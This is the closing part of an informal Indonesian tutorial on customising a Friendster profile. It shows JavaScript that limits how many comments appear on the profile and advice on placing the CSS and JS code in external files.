                rCOMM.comm[x].parentNode.removeChild(rCOMM.comm[x]);
            }
        }
     },

    getElementsByClassName: function (oElm, sTag, sClass) {
      var elm = [];
      if (!oElm) {
          oElm = document;
      }
      if (!sTag) {
          sTag = "*";
      }
      var els = oElm.getElementsByTagName(sTag) || document.all;
      for (var j = 0, k = els.length; j < k; j += 1) {
          if (new RegExp(sClass).test(els[j].className)) {
              elm.push(els[j]);
          }
      }
      return elm;
    }
    };
})();
rCOMM.init();

Perhatikan Source ini.
(function () {
   rCOMM = {
     comm: null,
     num: 5,
Ganti angka 5 dengan angka yang kita hendaki, gunanya untuk
mengatur jumlah comment yang nongol di profile kita.
Akhirnya selesai juga Tutorial yang aneh ini…wakakakakaka….
Oh iya,,,,
JANGAN SAMPAI SALAH MASUKIN
SOURCE.

SOURCE CSS DIMASUKIAN DI DALAM CSS
EKSTERNAL / CSS FILE

SOURCE JS DIMASUKIAN DI DALAM JS
EKSTERNAL / JS FILE

Dimohon untuk baca ulang setiap tutorial, hendaknya langsung
di praktekan agar langsung ngerti. Jangan malu untuk bertanya.
Saya selalu ada untuk kalian di KASKUS.

Akhir kata saya ucapkan



            SALMEEEEK!!!!!!!!!!!!!!!!!




Thanks to:
-Ripway
-All user @Friendstertalk
-KASKUS
-All user @Hackers-Center

				
DOCUMENT INFO
Shared By:
Categories:
Tags: tutorial
Stats:
views:13
posted:7/24/2012
language:
pages:39
Description: tutorial css